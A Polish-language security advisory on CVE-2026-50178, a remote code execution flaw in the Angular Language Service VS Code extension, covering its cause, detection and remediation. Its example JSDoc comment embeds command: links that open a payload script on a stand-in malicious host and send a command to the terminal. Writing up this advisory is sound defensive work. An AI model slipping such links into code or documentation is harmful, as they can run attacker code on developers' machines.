Wersja 21.2.4 rozszerzenia Angular Language Service dla Visual Studio Code łata krytyczną lukę bezpieczeństwa 1. Podatność, oznaczona jako CVE-2026-50178, pozwalała na zdalne wykonanie kodu (RCE) na stacji roboczej dewelopera. Wektor ataku jest subtelny i wykorzystuje mechanizm podpowiedzi w edytorze. Wystarczy, że programista najedzie kursorem na spreparowany fragment kodu, aby narazić swój system na kompromitację.
Zagrożenie dotyczy bezpośrednio środowisk deweloperskich, które są kluczowym celem w atakach na łańcuch dostaw oprogramowania (supply chain). Kompromitacja stacji roboczej dewelopera otwiera drogę do infekowania kodu źródłowego, kradzieży kluczy dostępowych i dalszej eskalacji wewnątrz firmowej sieci. Problem jest szczególnie istotny dla polskich software house’ów i zespołów IT, gdzie Angular i VS Code są powszechnie stosowanymi technologiami.
TL;DR
- Produkt: Rozszerzenie Angular Language Service dla Visual Studio Code 2.
- Podatność: CVE-2026-50178, zdalne wykonanie kodu (RCE — Remote Code Execution).
- Wektor: Spreparowany komentarz JSDoc w pliku projektu lub zależności npm, który po najechaniu kursorem i kliknięciu linku wykonuje złośliwe polecenie 3 4.
- Przyczyna: Klient rozszerzenia ufał renderowanej zawartości Markdown z serwera językowego, który z kolei nie oczyszczał danych wejściowych 5 6.
- Zagrożone wersje: Wszystkie wersje przed 21.2.4 7.
- Naprawiona wersja: 21.2.4 1.
- Pierwszy krok: Natychmiastowa aktualizacja rozszerzenia do najnowszej wersji i weryfikacja, czy w projektach nie ma podejrzanych zależności npm.
Wektor ataku
Analiza podatności CVE-2026-50178 (Common Vulnerabilities and Exposures – identyfikator publicznie znanej luki) wskazuje na błąd w logice zaufania między komponentami rozszerzenia. Atak przebiega w kilku krokach, wykorzystując standardową funkcjonalność edytora kodu.
-
Nadmierne zaufanie klienta. Klient rozszerzenia, działający w ramach VS Code, konfiguruje mechanizm renderowania podpowiedzi (tooltips) z flagą
isTrusted: true5. Ta opcja informuje edytor, że cała zawartość otrzymana do wyświetlenia jest bezpieczna i może zawierać aktywne elementy, takie jak klikalne linki uruchamiające polecenia systemowe (command: URIs) 8. -
Brak sanitacji po stronie serwera. W tle działa proces serwera językowego Angulara (Angular Language Server). Jego zadaniem jest analiza kodu i dostarczanie kontekstowych informacji do edytora. Proces ten nie oczyszczał ani nie sanitizował komentarzy JSDoc przed przekazaniem ich do wyrenderowania w podpowiedzi 6. Oznacza to, że specjalne znaki, nawiasy czy surowe linki były przesyłane bez modyfikacji.
-
Iniekcja złośliwego ładunku. Atakujący może wykorzystać tę słabość, umieszczając złośliwie spreparowany komentarz JSDoc w pliku
.tslub.jsprojektu 3. Taki plik może być częścią głównego repozytorium lub, co bardziej prawdopodobne, ukryty w jednej z wielu zależności pobieranych z publicznego rejestru npm. Komentarz zawiera specjalnie przygotowany link w formacie Markdown, który wskazuje na polecenie do wykonania na maszynie ofiary.
Przykład (poglądowy) złośliwego komentarza JSDoc:
/**
* Ta funkcja robi coś pożytecznego.
* [Kliknij tutaj, aby zobaczyć dokumentację](command:vscode.open?%5B%22https%3A%2F%2Fzlosliwa-strona.xyz%2Fpayload.sh%22%5D)
* [Albo uruchom kalkulator](command:workbench.action.terminal.sendText?%7B%22text%22%3A%22gnome-calculator%5Cn%22%7D)
*/
export function usefulFunction() { ... }
- Interakcja użytkownika. Ostatnim krokiem jest interakcja dewelopera. Gdy programista pracuje nad kodem i najedzie kursorem na symbol (np. nazwę funkcji) opatrzony złośliwym komentarzem, VS Code wyświetli podpowiedź. Jeśli deweloper kliknie spreparowany link w tej podpowiedzi, edytor bez dodatkowych ostrzeżeń może wykonać osadzone w nim polecenie 4. Może to być pobranie i uruchomienie złośliwego skryptu, kradzież tokenów, kluczy SSH lub otwarcie odwrotnej powłoki (reverse shell).
Wskaźniki kompromitacji
Ta podatność nie jest związana z konkretną kampanią, więc nie ma tu klasycznych wskaźników kompromitacji (IoC – Indicators of Compromise) takich jak adresy IP serwerów C2 (Command and Control) czy hashe plików. Zagrożenie leży w potencjalnym wykorzystaniu luki przez dowolnego operatora.
Zespoły bezpieczeństwa i deweloperzy powinni skupić się na audycie kodu źródłowego i jego zależności pod kątem podejrzanych komentarzy JSDoc. Należy zwracać uwagę na:
- Komentarze zawierające linki w formacie
command:. - Nietypowe lub zaciemnione linki w dokumentacji kodu, zwłaszcza w zależnościach z
node_modules. - Pakiety npm o niskiej reputacji, z niewielką liczbą pobrań lub od nieznanych autorów, które nagle pojawiły się w projekcie.
Co zrobić w 24-48h
Rekomendowane podejście zakłada natychmiastowe działania prewencyjne i weryfikacyjne. Poniższe kroki nie zastępują pełnej konsultacji bezpieczeństwa, ale stanowią pierwszą linię obrony.
-
Aktualizacja rozszerzenia (krytyczne). Najważniejszym krokiem jest upewnienie się, że wszyscy deweloperzy w organizacji zaktualizowali rozszerzenie Angular Language Service do wersji 21.2.4 lub nowszej 1. W VS Code można to zrobić z poziomu zakładki „Rozszerzenia”, wyszukując
@angular.language-servicei klikając „Update”. -
Audyt środowisk deweloperskich. Należy przeprowadzić audyt stacji roboczych programistów w celu weryfikacji zainstalowanych wersji rozszerzeń. W większych organizacjach można to zautomatyzować za pomocą skryptów lub narzędzi do zarządzania flotą urządzeń. Dla polskich firm MŚP, gdzie często brakuje centralnego zarządzania, kluczowa jest komunikacja wewnętrzna i manualna weryfikacja przez liderów zespołów.
-
Przegląd zależności projektu. Zespoły deweloperskie powinny przejrzeć pliki
package.jsonipackage-lock.jsonpod kątem niedawno dodanych lub podejrzanych zależności. Narzędzia takie jaknpm auditmogą pomóc, ale nie wykryją tego konkretnego wektora. Konieczny jest manualny przegląd i ocena ryzyka związanego z każdym zewnętrznym pakietem. -
Wzmocnienie świadomości. Należy poinformować programistów o naturze zagrożenia. Powinni być wyczuleni na nietypowe podpowiedzi i pod żadnym pozorem nie klikać aktywnych linków w tooltipach, jeśli nie są absolutnie pewni ich pochodzenia. To kolejny argument za tym, że nawet w środowisku deweloperskim zasada zerowego zaufania (Zero Trust) jest fundamentalna.
Źródła
Zobacz też
- CVE-2026-6637: Luka w PostgreSQL pozwala na wykonanie kodu
- Krytyczna luka RCE w Metabase (CVE-2026-50148) z oceną CVSS 10.0
- Krytyczna luka w MySQL Shell (CVE-2026-46850) z oceną CVSS 9.9
Przypisy
-
Luka została naprawiona w wersji 21.2.4. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2 ↩3
-
Rozszerzenie Angular Language Service VS Code Extension oferuje bogate środowisko edycji dla szablonów Angulara. — nvd.nist.gov › CVE 2026 50178 ↩
-
Atakujący może wykorzystać to zachowanie, tworząc plik TypeScript lub JavaScript projektu (lub zależność pakietu npm) zawierający złośliwą podpowiedź JSDoc z osadzonym aktywnym linkiem polecenia. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2
-
Gdy deweloper najedzie kursorem na symbol, aby wyświetlić podpowiedź i kliknie złośliwy link, IDE wykonuje sekwencję poleceń bezpośrednio na maszynie hosta dewelopera. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2
-
Klient rozszerzenia Angular Language Service VS Code konfiguruje renderer Markdown dla podpowiedzi z opcją
isTrusted: true. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2 -
Proces serwera Angular Language Server nie oczyszcza ani nie sanitizuje nawiasów, surowych linków i znaków kontrolnych ze stringów JSDoc przed przekazaniem zawartości Markdown podpowiedzi. — nvd.nist.gov › CVE 2026 50178 ↩ ↩2
-
Luka występowała w wersjach wcześniejszych niż 21.2.4. — nvd.nist.gov › CVE 2026 50178 ↩
-
Ustawienie
isTrusted: trueinstruuje VS Code, aby ufał całej renderowanej zawartości, co umożliwia aktywne elementy, takie jakcommand: URIs. — nvd.nist.gov › CVE 2026 50178 ↩
// Komentarze ...
Dodaj komentarz